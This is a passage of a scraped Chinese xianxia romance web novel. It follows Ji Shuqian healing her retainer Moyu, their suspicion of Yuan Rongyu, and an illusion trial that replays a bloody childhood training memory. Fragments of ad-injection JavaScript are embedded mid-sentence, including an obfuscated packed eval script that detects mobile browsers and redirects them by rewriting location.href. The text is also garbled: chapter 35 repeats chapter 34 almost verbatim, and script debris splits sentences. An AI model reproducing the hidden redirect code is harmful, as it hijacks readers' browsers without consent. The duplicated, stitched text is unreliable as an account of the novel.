她再伸手探了探墨语的经脉,发现原先碎成一段一段的筋脉已经在慢慢地自行愈合了。 心中的不安渐渐归于平静,她这才缓过一口气来,看来珈若记忆中的酆都秘术没有错…那个传说中生生割下自己的一段筋脉替别人续上的方子还真的可行。 痛是痛了点,但在她看来很值得……也不失一个好机会试试新法术。 她踉跄了一下,稳住身形。猛的抬眼间,她看见宁樾一只有力的手靠在离墨语的背一尺的距离处,不断地朝她体内输送灵力。 季疏浅不用探都知道这些灵力的量足够一个普通的上仙飞升成上神了,或许足足是他一年修得的。 她正想出声,宁樾掌心的最后一丝灵力输送完了,朝她看过来。季疏浅本想出声感谢一下他,刹那间却有无数言语说不尽…… 她就这么看着宁樾,万千言语都在眼底波澜显现。 宁樾读懂了她的意思,不甚在意地勾了勾嘴角:“我也有很在乎的人,若哪一日他们出事,我也会不遗余力的帮他们…也同样,希望别人能伸出援手。” 季疏浅看着他一时无言…千年后的宁樾似乎在这世上已然没有什么在意的,但此时他应当是很在意宁瑈和他母神的。 她凝眉看向地上一滩有些刺目的鲜血出神,其实宁樾应当很重感情…至少还身为神族太子的他是这样的。 不知宁瑈和神后死时,宁樾是怎一番模样…… 她忽然想起取走皎月琴那日善慧看向她说的那番语重心长的话,原来是这个意思吗…… 但一想到最后自己得杀了他,她在心中连连摇头,自顾自地叹气,还是按善慧说的做吧,最后的事就是另一回事了。 墨语斜斜靠在季疏浅的身上,季疏浅将她扶到一旁还算完整的一把金丝木椅上,眼神微冷地打量着四周。 “等墨语醒了问问她袭击她的人。”她幽幽叹了口气,不知为何总有一种不详的预感盘桓在心头。 宁樾沉着脸色想了想,抚上一张断成两半的桌子歪歪扭扭蔓延着的裂纹,双指触及裂纹,反复摩挲着。 手指的动作停下,他的脸色也越发阴沉。“不像是…现在六界中存在的正经术法。” 季疏浅定定地看着他,她不会怀疑宁樾的判断。虽然现在的宁樾远不及日后的魔尊来的强大,但也是如今六界的佼佼者,可以说和她不相上下。 不是正经术法?季疏浅犹豫住了,平日不苟言笑的脸也因怒气微红。 能进入槐江山的都是神、仙、魔、妖、人五界挑选的精英,外加一个酆都。酆都的人是她凭着珈若的记忆挑选出来的,每一个人她都了如指掌,问题不会出在酆都。 那会是哪一界的人,或是说有人趁机混了进来? 但墨语的能力她不是不知道,能将墨语打败的人放眼六界少之又少。 正在她思索时,木椅上面色稍稍红润一些的女子睫毛轻颤,指尖微微动了动。墨语缓缓睁开眼睛,季疏浅替她将凌乱的发丝理了理。 “还有哪里不舒服吗?”季疏浅挂起一抹淡淡的笑容,温声问道。 “殿下?我怎么在这里……”墨语有些费力地撑着头,眉头拧得紧紧的。 季疏浅看着她一副头痛的样子和宁樾对视一眼,她吸了一口气:“你受了点伤……还记得刚刚发生的事吗?” 墨语面色已经恢复红润,她伸手扶住头,她的头就像被绳索死死勒住一般,疼痛如无数细小的针从四面八方扎向她的头。 她努力回忆着,可任凭她再努力回忆,脑海中像被抽去了一段记忆一般,只记得在踏入这个剑冢后就失去了意识。 墨语颤着声,一向稳重的她第一次带着些无措看向季疏浅,低声呢喃道:“殿下……我不记得了。” 她悄悄伸手抚上手腕,一股磅礴的灵力自她体内传来,墨语霎时一顿,一些不可思议地抬头看向季疏浅和她身旁的抱着手的宁樾。 许是因为受了伤,她的声音哑哑的,墨语有些纠结的摩挲着手指,艰难地开口:“殿下,太子殿下……我是不是给你们添麻烦了?” 她突然想到什么,情绪顿时激动起来,哪怕身体不稳,依然颤巍巍地拉住季疏浅的袖子一角。 “殿下你怎么能为了我那么伤害自己…”她越说情绪越激动,一下没稳住,抓住袖袍的手猛地落到木椅的雕花扶手上。 她低垂着眼帘,在眼下扫出一片淡淡的阴影。“……是属下失职…”她声音越来越小。 见状,季疏浅微微皱起眉,有些不悦地冷声道:“你我之间,先是朋友,再是君臣。” 话毕,她轻轻拍了拍墨语的肩,安抚着情绪格外激动的墨语。 墨语低声抽泣,精致又带些英气的面容在此刻竟有几分脆弱,似是易碎的花瓶。她轻轻将头靠在季疏浅怀里,季疏浅也很顺手的将她搂在怀里。 墨语一顿,脸上闪过一丝震惊,随即在她怀里靠的更紧了。 “殿下,我喜欢这样的你……你能一直这样吗,就像小时候一样…”她断断续续地说着,季疏浅大致听明白了。 她笑了笑:“当然啊。”她边说边抚摸着她的背,从怀中抽出一张丝绢,一点点拭去她脸上的泪珠。 墨语一时无言,心情跟打翻了五味瓶一样,一边是开心殿下有那么几分童年时的温柔,一边又是暗自懊恼自己一定给他们添麻烦了。 她闭上眼喘了口气,就一刹那,一块碎片似的记忆在脑海一闪而过,她飞快地抓住。 一个模模糊糊的背影在记忆中格外醒目,一身浅草色衣袍的男子转身离开剑冢,留下她在原地挣扎…… “殿下,我想起来了一个片段!好像穿着浅草色的衣袍……”她有些激动地坐直了身体,眼睛亮亮的看向季疏浅。 浅草色?季疏浅和宁樾不约而同地看向对方,异口同声道:“元容与?” 他们俩清楚的记得,此次进入槐江山的人中,只有元容与一人穿了浅草色衣袍。 季疏浅悄悄攥紧了拳头,抿起唇,怎么又是他? 但她心下疑惑,元容与和墨语八竿子打不着,犯不着有什么仇,况且如今的元容与也不会想要将她身边的人赶尽杀绝。 宁樾默不作声地看着四周,看向季疏浅,似是有一瞬犹豫。 “疏浅,我二弟应当不会做这种事,应该另有其人。” 他似是怕季疏浅不相信,看向她的眼神格外真诚。 季疏浅和他对视着,琢磨着这句话,就听见旁边一道惊讶的女声传来。 “疏浅?”墨语皱眉看向季疏浅,“殿下啥时候改名了?” 季疏浅一愣,随即神态自若,云淡风轻地解释道:“小时后母神给我取的……” 墨语一听,更惊诧了:“殿下,你都没有告诉过我!” 她怔怔地盯着宁樾,兀自叹了口气:“好吧,太子殿下是您未婚夫也应该的。”说罢还意味深长地看了看宁樾和季疏浅。 宁樾:?怎么突然说到这个。 季疏浅:… 两人对视一眼,达成共识:不能和病人计较。 墨语见两人沉默在原地,有些小心地看着季疏浅:“那殿下,我可以叫你这个名字吗,我想叫你浅浅。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她对珈若把母神取得名字告诉了宁樾而没告诉她仍心怀不满,在心中碎碎念,殿下怎么能这样呢……自己陪了殿下这么多年诶。 但是转念一想,算了算了,人家是正宫。 其实她一直知道殿下和她母神关系极好,殿下不愿将这名字告诉大家她也明白……自从帝后去世后,殿下就回避和她母神的一切。 她突然有些开心,既然殿下愿意将这名字告诉给太子殿下,是不是说明殿下开始走出那段悲伤的回忆中。 季疏浅自然不知道她心中想法,只是浅浅一笑:“当然可以啊。”她更希望用这个身份和他们相识。 宁樾只是淡淡地看着她们主仆二人对话,眼底晕起一抹笑意。但一想到元容与,他的视线变得有些幽远。 元容与自幼跟着他长大,虽然他知道元容与身为兰妃的长子,他理应保持距离。但奈何那么一个小屁孩从小跟在自己身后,像条甩不掉的小尾巴。 正因如此,他对元容与的为人十分清楚,这个弟弟重感情,黑白分明。记忆中,元容与和酆都没什么过节,甚至被珈若救过一次,还一直说着要报恩。 他没有任何理由对墨语出手。 况且他知道这六界之中有术法能更改人的记忆,对方既然能想到抹去墨语的记忆,也做得出捏造一段记忆这种事。 他长长的眼睫落下,看向季疏浅,淡淡地和她说明了自己的想法,但他仍担心疏浅会觉得他是在给元容与开脱。 季疏浅听了他的一番猜测,目光染上一分探究。半晌,轻轻叹了口气:“你说的有道理,我也想不出他有什么理由这么做。” 虽说她和元容与有着不共戴天的仇恨,但是一码归一码,她不会带着个人感情来判断这件事。 突然她想到什么,眉头紧锁。如果说对方故意捏造了这么一段记忆给墨语,那为的就是让她怀疑到元容与身上,那这是为什么? 与此同时,宁樾也想到了这一点。“要不是和元容与有什么仇恨,要不就是他在下一盘很大的棋。”他眼神冷冷的,在一瞬间让季疏浅以为他恢复了魔尊的身份。 她点了点头,对于前半句话她没有犹豫,但后半句话…… 思绪回到还在天道山时,某一天她和裴祉聊那时的三界格局……缕缕香烟中,面具遮掩了他的面容,只留下一双仿佛洞察人间的眼睛,他给她讲了一句话:“计熟事定,举必有功。” 若真是如此,那这真是好大的一盘棋,幕后之人所图或许远不止眼前所见。 单单这么想着,季疏浅后背便冒出一层细细冷汗,如同当时杀元容与那日,她得知他所求为何时。 正思索间,墨语扶着木椅缓缓起身,槐江山开启一次机会难得,她不想自己成为殿下的拖累。哪怕现在脑袋嗡鸣着痛,她还是想和殿下他们并肩同性。 季疏浅被她的动作吸引去了目光,她一把搀扶住她,轻声道:“可以吗?” “没事的。”她忍着头痛运了运气,感受着灵力在筋脉里游走。 宁樾看向墨语:“不舒服就不要强撑,我们在这里休整一下也行。” 季疏浅一边点点头,一边看向墨语,对宁樾的话深表赞同。 墨语正想开口说自己还能坚持,胸口一阵刺痛,身体被疼痛淹没,她下意识捂住胸口猛的喷出一口血来。 “墨语!”季疏浅一把搂住她,带着些恐慌将她环住。 墨语紧紧皱着眉头,双手死死捂住胸口,大口大口地喘着气。 季疏浅自责地叹了口气:“可能是我第一次不太熟练,还是没有恢复如初。” 或许是珈若留给这六界的印象都是冷静而又强大的,一时间听到她这般自责还带着些慌乱,屋内的两人都有些诧异。 气氛诡异地沉默了一小会儿后,宁樾出声打破了这安静。 “疏浅你要不陪她在这里休息一会,我先去探探路。” 这倒是个好办法,季疏浅想了想觉得可行,“好。” 见她答应,宁樾看了看她,细细叮嘱道:“万事小心。” “好,你也是。”季疏浅也透过淡淡的光晕看着他,神情格外郑重。 34. 昊天塔 宁樾带着她们俩走过那条狭窄的甬道,熟悉的场景再现。 “就是这里了。”他看向剑坛,神情莫测。 刚刚打开的石壁已经严丝合缝。 难道说还要再上一次剑坛?他心下担心其中会有什么变故。 宁樾的沉默引起季疏浅的注意,侧首回头,季疏浅看出身旁之人的思虑。 “按你想的来吧。”她淡定地说道。 短短的一句却让同行两人都有一种无端的镇定,宁樾垂下眼睫,一番权衡后点了点头,迈步踏了上去。 季疏浅和墨语跟在他身后,在靠近剑坛中央时,扑面而来的眩晕感将他们拉入一片境地。 宁樾同样再次来到这里,他朝星海中寻觅,不知道疏浅和墨语两人会不会来这里。 “太子殿下。”一个有些急切的声音在他耳畔响起。 墨语再睁眼时就已置身于这片绚丽星海中,身旁的季疏浅不见了身影,只余下无数散着银色光晕的星星。 幸好她在不远处看到了宁樾的身影,心中一喜连忙跑了过去。 宁樾见是她,松了口气,看来每个人都会来这里。正如疏浅说的一样,每个人都有自己的机缘。 可下一秒,心头被担忧占据,墨语的身旁并没有疏浅的身影。 “疏浅呢,她没有和你一起吗?”宁樾浓墨般的眼睛有化不开的担忧。 被他这么一问,墨语这才意识到可能只有殿下一人被撇开了,心中焦急连忙说道:“我们一起上的剑坛,但是我来到这后就没见到殿下。” “两位不必惊慌,此乃昊天塔幻境,诸位各有机缘。”神谕一样的声音在四周回响。 他话音落下,两人俱是一惊。 六界下落不明的神器之一昊天塔居然就在这剑冢之中。 传闻中昊天塔能收星揽月,克一切妖邪,净一切妄念。 “敢问前辈我们进着昊天塔幻境作何?”宁樾迅速收起惊异,想要问清当下情况。 “两位通过了昊天塔的试炼,心无杂念。我会赠予你们机缘,望二位以六界为己任。” 四周星光璀璨,万千星河流动,灵力汇聚成一条长河。 墨语难以置信地看向宁樾,她对自己通过试炼很高兴,但更加担心疏浅的情况。 结果她发现宁樾也是低垂着眼睫,一声不发的沉思模样。 心急之下,她脱口而出:“敢问前辈,和我同行的女子呢?” 星光倾泻,洒落在镜面一般的空间中,蓝色流萤飞舞。 就是这般虚幻的美景,却在这句话问出口后,如被冰封了一般死寂。 宁樾眼底似有浓墨晕开,长身玉立,墨色衣袍下的手紧紧攥住。 他心中隐隐有猜测,其实这句话说的隐晦,直白一点就是心有杂念者过不了昊天塔的试炼, 见迟迟没有回答,墨语急的四处张望,像是要将这方幻境看出个破绽来。 沉沉的声音不疾不徐地传来:“先辈,请问未通过试炼的人会如何?” 墨语愣了愣,冷艳的脸上藏不住震惊。 殿下怎么可能未通过试炼,他在想什么?墨语忍不住在心底喊道。 宁樾没通过试炼她都能接受,但他们家殿下绝对不可能没通过。 “会进入九重境,余下就看造化了…”伴随着一声叹惋,星河霎时失色,四周的景象又重新回到剑坛。 目光所及又是微微扬起的尘土和青石垒砌的剑坛,宁樾微微蹙眉,抬起眼环顾一圈四周。 疏浅没有像他们一样回到这里。 他迈步绕着剑坛走了一圈,衣袍擦起飞扬尘灰。微光中的尘灰飞扬,一些尘粒翩翩起舞后在半空直直定住。 — 一阵天旋地转后,季疏浅自一片虚无中缓缓睁开眼来。 她正伸手想要触及那一片虚无时,四周景象突变,无数面镜子拦在四面八方。 季疏浅一阵疑惑,按着宁樾说的,应该不会是这样的吧。 哪怕她是酆都公主,阵仗不用搞成这样吧? 在她疑虑时,一面面镜子晕开景象,每一面镜子都倒映出了她的身影。 一时之间,她数不清有多少个“她”。 她向后退了两步,猛的回头,就见镜中的自己也回望着她。 似流萤入海,镜像华光四起。季疏浅沉默地看着镜中无数个自己,就如她们看向她一样。 她微微拧起眉头,四周不见墨语和宁樾的身影。她暗暗在心中希望他们俩在一块,以墨语现在的状态,宁樾在她身旁,她才能放心一些。 修长的双指在胸口处捏作兰花状,一缕缕轻纱般的灵力涌出,在无数的镜面旁掠过。 片刻后,灵力在她身旁缠绕,一点点向她聚拢。 季疏浅的面色越发凝重,刚才,她试了试用灵力来试探这片空间。可所有的灵力聚拢回她身旁,就只说明了一件事。 这是一个完全封闭的空间,而且是一处幻境。 得想办法出去才是。 她双指夹住虚华剑,剑身轻盈地转了个圈。她闭上眼深吸一口气,抚过银白的剑身。再睁眼时,眼底有着一丝决绝。 她猛地挥剑,连出几剑,剑身带起一道璀璨的剑气,犹如银河倾泻。 排山倒海的剑气自成章法地劈向四面八方的镜子,伴随着“哐、哐、哐”几声,镜面隐隐约约出现裂纹。 这一举动惹怒了幻境,镜像骤变。四周如狂风暴雨来临一般,骤时乌压压的一片。 出现了裂纹的镜面一点点复原,镜像在弥漫的黑雾中渐渐扭曲。 在一片片模糊了视线的黑雾中,季疏浅看那镜中景象却格外清楚。 正面着她的那块镜子上似是沾满了血污,一个战战兢兢的小姑娘在镜面中直打颤。 她五官生的精致,可一张粉雕玉琢的小脸上却糊满了血,葡萄般的一双眼睛直直看着掌心,掌中是一颗带着余温,微微跳动的心脏。 她似是呆住了,怔怔看着那颗沾着血液黏黏糊糊的心脏。突然一颤,似是才反应过来,猛的把心脏扔了出去。 双腿颤动着没站稳,一下子跌坐在地上,可地上温热的液体让她浑身打了个寒颤,她犹豫着看了眼淌成河流的血,半晌才反应过来,漂亮的双眼空荡荡看向前方。 季疏浅不可思议地看着镜中景象,“砰”的一声,虚华与地面碰撞发出一声巨响。她踉跄地晃了一下,堪堪稳住身形。 镜中的小女孩,是她自己。 那是她到现在都不愿意回想的一段记忆。 掌心冒出一层细细的汗,汗水沾湿肌肤,粘粘的。她唇色泛白,抿成一条直直的线。 那是她刚到天道山的时光,元容与借着她和那些生在天道山的弟子们不同这个理由,让她成为他唯一的亲传弟子。 只是那时她心中还有些小雀跃,心花怒放自己是不是有什么过人之处,刚到天道山就被上神亲点为弟子。 既然是元容与的亲传弟子,她的所有训练都和别人不一样。 眼前所见,就是她曾经训练的内容之一—克服恐惧。 她清楚地记得,哪怕她在去天道山之前有过心理准备,想着以后的日子可能就要与鲜血为伴了。 但在训练的第一天还是被吓得吐了出来。 那日,元容与青衣坠地,一头青丝用一根白玉簪子挽起,他嘴角噙着一抹淡淡的笑容,领着她到了一间漆黑的,伸手不见五指的屋子。 她乖巧地跟在他后面,直到元容与微微侧过身,让她先进去。她没想那么多,径直迈进了一片黑暗中。 可是元容与淡淡看她一眼,目无波澜地拉上了门。 “师父!”她不解他为何这样,却又只敢小心翼翼地喊一句。 “你在里面呆上一柱香的时间,我会放一只恶鬼进来,你的命握在你手里。”他的话音不咸不淡地落下,漆黑的屋子突然被一抹亮光照亮。 那时她还没领教过恶鬼的厉害 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 就这一刹那,季疏浅惨白的脸上已有几滴汗珠,她神情染上一抹痛苦,紧紧地闭上了眼。 她不愿去回想那段记忆,只是一遍遍在脑海中回忆着她远在京城的家人们,一遍遍想着阿姐和师叔。 可冥冥之中似乎有一根线,牵引着她的思想,一幅幅画面被无形的画笔深深画在脑海之中。 地上倒着一个个被开膛破肚的人,鲜血混着其他的东西散了满地。彼时年幼,小团子一样的姑娘死死闭上双眼。 尽管双眼不见这血淋淋的场景,但混着恶臭的血腥味却让她无法逃避。 “你要学会面对,既然选了这条路,你未来就得面对数不尽的杀戮。” 一句话轻飘飘地传来,可前方也没有别的选择了。她狠狠心睁开眼,入目皆是一个个死状极惨的人,她终于还是“哇”的一声干呕着。 “走进去。” 季疏浅呆呆地看向那一地的血肉模糊,颤颤地摇头,小声念着:“不要、不要…” 可她知道忤逆意味着什么,万里挑一的机会,她那护着自己家人,护着人界的愿景,统统会变成虚影。 其实在真正的选择前,往往不会有太多纠结。 一狠心,她睁开眼睛,死死咬住下唇,颤抖着小小的身子,小心翼翼避开地上的脏污,一点点挪向中间。 她终是没忍住哭了出来,可是却不愿他见到自己哭的模样,不敢发出一丝声音,只能让眼泪顺着脸颊一滴滴滚落。 不知过了多久,在她一双杏眼无止无尽往外淌着眼泪时,一声低吼吓得她打了个冷颤。 一直放在屋子里的不起眼的柜子里突然有了动静,下一秒,“砰”的一声巨响,柜子四分五裂。 一块木板擦着她身旁过去,她连忙侧身避开,可一时分神,脚下忙不迭踩到一截焦黑的断臂,她被绊住,跌坐在地上。 手上摸到一截冷硬的东西,她知道那是什么。浑身一阵冷意,她不敢看向自己手心,只能目光朝前看去,看向那一只蠢蠢欲动的恶鬼。 虽说恶鬼没有恶灵一样的灵智,但它还是能判断出猎物的强弱。 或许是眼前的小姑娘看起来手无缚鸡之力,全身上下的武器还只有腰间的匕首。恶鬼沾着血液的舌头在脸上转了一圈,伸出的舌头滴答着血液,没有眼白的眼瞳只是看着她。 下一秒,恶鬼后腿一用力,猛的朝季疏浅扑来。镜中的小姑娘瘫坐在地上,双眼睁的圆圆的,她无措地看着眼前的恶鬼。 千钧一发之际,她紧紧咬住牙,寒光一现,抽出腰间的匕首,飞速起身侧身避开。 恶鬼见扑了个空,喉咙中发出低沉的吼声,爪子死死扣住,接着扑上去。 在这一切画面在脑海中重现,季疏浅紧紧握住的拳突然松了松,一直如飘摇在风雨中的羽毛般的心突然沉了下来。 她猛的睁开眼睛,嘴角挂起一抹笑容,略带着些轻蔑看向镜子。 这有什么,往后的日子里她见的比这多多了,槐江山的景象历历在目,小时候的这种经历在她看来不值一提。 之前她不愿意去回想,但现在既来之则安之,看一看也无妨。 或许是她突如其来的心态转变,镜子似乎泄了气,原本的镜像渐渐变得模糊,点点滴滴突然在镜中散去。 她微微皱眉看向镜子,怎么突然就消失了。 不过现在她要考虑的是怎么从这里出去,季疏浅警惕地看向四周,慢慢向前走去。 可眼前的镜像消失了,往前没几步,又一面镜子拦住她的去路。 镜像一点点显现,是她的远在京城的家人。前一秒是她和家人其乐融融在亭中品茗,下一秒是她偷偷离家,再下一秒则是家人焦灼的神情,镜花水月不过如此。 镜像变幻莫测,她一时间有些迷惑,不明白这面镜子中的景象。 镜像突然被乌云覆住,一阵电闪雷鸣惹得整个空间轻轻颤动。她皱眉看着镜像,不知为何,心头有些许不安。 35. 噩梦再现 宁樾带着她们俩走过那条狭窄的甬道,熟悉的场景再现。 “就是这里了。”他看向剑坛,神情莫测。 刚刚打开的石壁已经严丝合缝。 难道说还要再上一次剑坛?他心下担心其中会有什么变故。 宁樾的沉默引起季疏浅的注意,侧首回头,季疏浅看出身旁之人的思虑。 “按你想的来吧。”她淡定地说道。 短短的一句却让同行两人都有一种无端的镇定,宁樾垂下眼睫,一番权衡后点了点头,迈步踏了上去。 季疏浅和墨语跟在他身后,在靠近剑坛中央时,扑面而来的眩晕感将他们拉入一片境地。 宁樾同样再次来到这里,他朝星海中寻觅,不知道疏浅和墨语两人会不会来这里。 “太子殿下。”一个有些急切的声音在他耳畔响起。 墨语再睁眼时就已置身于这片绚丽星海中,身旁的季疏浅不见了身影,只余下无数散着银色光晕的星星。 幸好她在不远处看到了宁樾的身影,心中一喜连忙跑了过去。 宁樾见是她,松了口气,看来每个人都会来这里。正如疏浅说的一样,每个人都有自己的机缘。 可下一秒,心头被担忧占据,墨语的身旁并没有疏浅的身影。 “疏浅呢,她没有和你一起吗?”宁樾浓墨般的眼睛有化不开的担忧。 被他这么一问,墨语这才意识到可能只有殿下一人被撇开了,心中焦急连忙说道:“我们一起上的剑坛,但是我来到这后就没见到殿下。” “两位不必惊慌,此乃昊天塔幻境,诸位各有机缘。”神谕一样的声音在四周回响。 他话音落下,两人俱是一惊。 六界下落不明的神器之一昊天塔居然就在这剑冢之中。 传闻中昊天塔能收星揽月,克一切妖邪,净一切妄念。 “敢问前辈我们进着昊天塔幻境作何?”宁樾迅速收起惊异,想要问清当下情况。 “两位通过了昊天塔的试炼,心无杂念。我会赠予你们机缘,望二位以六界为己任。” 四周星光璀璨,万千星河流动,灵力汇聚成一条长河。 墨语难以置信地看向宁樾,她对自己通过试炼很高兴,但更加担心疏浅的情况。 结果她发现宁樾也是低垂着眼睫,一声不发的沉思模样。 心急之下,她脱口而出:“敢问前辈,和我同行的女子呢?” 星光倾泻,洒落在镜面一般的空间中,蓝色流萤飞舞。 就是这般虚幻的美景,却在这句话问出口后,如被冰封了一般死寂。 宁樾眼底似有浓墨晕开,长身玉立,墨色衣袍下的手紧紧攥住。 他心中隐隐有猜测,其实这句话说的隐晦,直白一点就是心有杂念者过不了昊天塔的试炼, 见迟迟没有回答,墨语急的四处张望,像是要将这方幻境看出个破绽来。 沉沉的声音不疾不徐地传来:“先辈,请问未通过试炼的人会如何?” 墨语愣了愣,冷艳的脸上藏不住震惊。 殿下怎么可能未通过试炼,他在想什么?墨语忍不住在心底喊道。 宁樾没通过试炼她都能接受,但他们家殿下绝对不可能没通过。 “会进入九重境,余下就看造化了…”伴随着一声叹惋,星河霎时失色,四周的景象又重新回到剑坛。 目光所及又是微微扬起的尘土和青石垒砌的剑坛,宁樾微微蹙眉,抬起眼环顾一圈四周。 疏浅没有像他们一样回到这里。 他迈步绕着剑坛走了一圈,衣袍擦起飞扬尘灰。微光中的尘灰飞扬,一些尘粒翩翩起舞后在半空直直定住。 — 一阵天旋地转后,季疏浅自一片虚无中缓缓睁开眼来。 她正伸手想要触及那一片虚无时,四周景象突变,无数面镜子拦在四面八方。 季疏浅一阵疑惑,按着宁樾说的,应该不会是这样的吧。 哪怕她是酆都公主,阵仗不用搞成这样吧? 在她疑虑时,一面面镜子晕开景象,每一面镜子都倒映出了她的身影。 一时之间,她数不清有多少个“她”。 她向后退了两步,猛的回头,就见镜中的自己也回望着她。 似流萤入海,镜像华光四起。季疏浅沉默地看着镜中无数个自己,就如她们看向她一样。 她微微拧起眉头,四周不见墨语和宁樾的身影。她暗暗在心中希望他们俩在一块,以墨语现在的状态,宁樾在她身旁,她才能放心一些。 修长的双指在胸口处捏作兰花状,一缕缕轻纱般的灵力涌出,在无数的镜面旁掠过。 片刻后,灵力在她身旁缠绕,一点点向她聚拢。 季疏浅的面色越发凝重,刚才,她试了试用灵力来试探这片空间。可所有的灵力聚拢回她身旁,就只说明了一件事。 这是一个完全封闭的空间,而且是一处幻境。 得想办法出去才是。 她双指夹住虚华剑,剑身轻盈地转了个圈。她闭上眼深吸一口气,抚过银白的剑身。再睁眼时,眼底有着一丝决绝。 她猛地挥剑,连出几剑,剑身带起一道璀璨的剑气,犹如银河倾泻。 排山倒海的剑气自成章法地劈向四面八方的镜子,伴随着“哐、哐、哐”几声,镜面隐隐约约出现裂纹。 这一举动惹怒了幻境,镜像骤变。四周如狂风暴雨来临一般,骤时乌压压的一片。 出现了裂纹的镜面一点点复原,镜像在弥漫的黑雾中渐渐扭曲。 在一片片模糊了视线的黑雾中,季疏浅看那镜中景象却格外清楚。 正面着她的那块镜子上似是沾满了血污,一个战战兢兢的小姑娘在镜面中直打颤。 她五官生的精致,可一张粉雕玉琢的小脸上却糊满了血,葡萄般的一双眼睛直直看着掌心,掌中是一颗带着余温,微微跳动的心脏。 她似是呆住了,怔怔看着那颗沾着血液黏黏糊糊的心脏。突然一颤,似是才反应过来,猛的把心脏扔了出去。 双腿颤动着没站稳,一下子跌坐在地上,可地上温热的液体让她浑身打了个寒颤,她犹豫着看了眼淌成河流的血,半晌才反应过来,漂亮的双眼空荡荡看向前方。 季疏浅不可思议地看着镜中景象,“砰”的一声,虚华与地面碰撞发出一声巨响。她踉跄地晃了一下,堪堪稳住身形。 镜中的小女孩,是她自己。 那是她到现在都不愿意回想的一段记忆。 掌心冒出一层细细的汗,汗水沾湿肌肤,粘粘的。她唇色泛白,抿成一条直直的线。 那是她刚到天道山的时光,元容与借着她和那些生在天道山的弟子们不同这个理由,让她成为他唯一的亲传弟子。 只是那时她心中还有些小雀跃,心花怒放自己是不是有什么过人之处,刚到天道山就被上神亲点为弟子。 既然是元容与的亲传弟子,她的所有训练都和别人不一样。 眼前所见,就是她曾经训练的内容之一—克服恐惧。 她清楚地记得,哪怕她在去天道山之前有过心理准备,想着以后的日子可能就要与鲜血为伴了。 但在训练的第一天还是被吓得吐了出来。 那日,元容与青衣坠地,一头青丝用一根白玉簪子挽起,他嘴角噙着一抹淡淡的笑容,领着她到了一间漆黑的,伸手不见五指的屋子。 她乖巧地跟在他后面,直到元容与微微侧过身,让她先进去。她没想那么多,径直迈进了一片黑暗中。 可是元容与淡淡看她一眼,目无波澜地拉上了门。 “师父!”她不解他为何这样,却又只敢小心翼翼地喊一句。 “你在里面呆上一柱香的时间,我会放一只恶鬼进来,你的命握在你手里。”他的话音不咸不淡地落下,漆黑的屋子突然被一抹亮光照亮。 那时她还没领教过恶鬼的厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13883246|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就这一刹那,季疏浅惨白的脸上已有几滴汗珠,她神情染上一抹痛苦,紧紧地闭上了眼。 她不愿去回想那段记忆,只是一遍遍在脑海中回忆着她远在京城的家人们,一遍遍想着阿姐和师叔。 可冥冥之中似乎有一根线,牵引着她的思想,一幅幅画面被无形的画笔深深画在脑海之中。 地上倒着一个个被开膛破肚的人,鲜血混着其他的东西散了满地。彼时年幼,小团子一样的姑娘死死闭上双眼。 尽管双眼不见这血淋淋的场景,但混着恶臭的血腥味却让她无法逃避。 “你要学会面对,既然选了这条路,你未来就得面对数不尽的杀戮。” 一句话轻飘飘地传来,可前方也没有别的选择了。她狠狠心睁开眼,入目皆是一个个死状极惨的人,她终于还是“哇”的一声干呕着。 “走进去。” 季疏浅呆呆地看向那一地的血肉模糊,颤颤地摇头,小声念着:“不要、不要…” 可她知道忤逆意味着什么,万里挑一的机会,她那护着自己家人,护着人界的愿景,统统会变成虚影。 其实在真正的选择前,往往不会有太多纠结。 一狠心,她睁开眼睛,死死咬住下唇,颤抖着小小的身子,小心翼翼避开地上的脏污,一点点挪向中间。 她终是没忍住哭了出来,可是却不愿他见到自己哭的模样,不敢发出一丝声音,只能让眼泪顺着脸颊一滴滴滚落。 不知过了多久,在她一双杏眼无止无尽往外淌着眼泪时,一声低吼吓得她打了个冷颤。 一直放在屋子里的不起眼的柜子里突然有了动静,下一秒,“砰”的一声巨响,柜子四分五裂。 一块木板擦着她身旁过去,她连忙侧身避开,可一时分神,脚下忙不迭踩到一截焦黑的断臂,她被绊住,跌坐在地上。 手上摸到一截冷硬的东西,她知道那是什么。浑身一阵冷意,她不敢看向自己手心,只能目光朝前看去,看向那一只蠢蠢欲动的恶鬼。 虽说恶鬼没有恶灵一样的灵智,但它还是能判断出猎物的强弱。 或许是眼前的小姑娘看起来手无缚鸡之力,全身上下的武器还只有腰间的匕首。恶鬼沾着血液的舌头在脸上转了一圈,伸出的舌头滴答着血液,没有眼白的眼瞳只是看着她。 下一秒,恶鬼后腿一用力,猛的朝季疏浅扑来。镜中的小姑娘瘫坐在地上,双眼睁的圆圆的,她无措地看着眼前的恶鬼。 千钧一发之际,她紧紧咬住牙,寒光一现,抽出腰间的匕首,飞速起身侧身避开。 恶鬼见扑了个空,喉咙中发出低沉的吼声,爪子死死扣住,接着扑上去。 在这一切画面在脑海中重现,季疏浅紧紧握住的拳突然松了松,一直如飘摇在风雨中的羽毛般的心突然沉了下来。 她猛的睁开眼睛,嘴角挂起一抹笑容,略带着些轻蔑看向镜子。 这有什么,往后的日子里她见的比这多多了,槐江山的景象历历在目,小时候的这种经历在她看来不值一提。 之前她不愿意去回想,但现在既来之则安之,看一看也无妨。 或许是她突如其来的心态转变,镜子似乎泄了气,原本的镜像渐渐变得模糊,点点滴滴突然在镜中散去。 她微微皱眉看向镜子,怎么突然就消失了。 不过现在她要考虑的是怎么从这里出去,季疏浅警惕地看向四周,慢慢向前走去。 可眼前的镜像消失了,往前没几步,又一面镜子拦住她的去路。 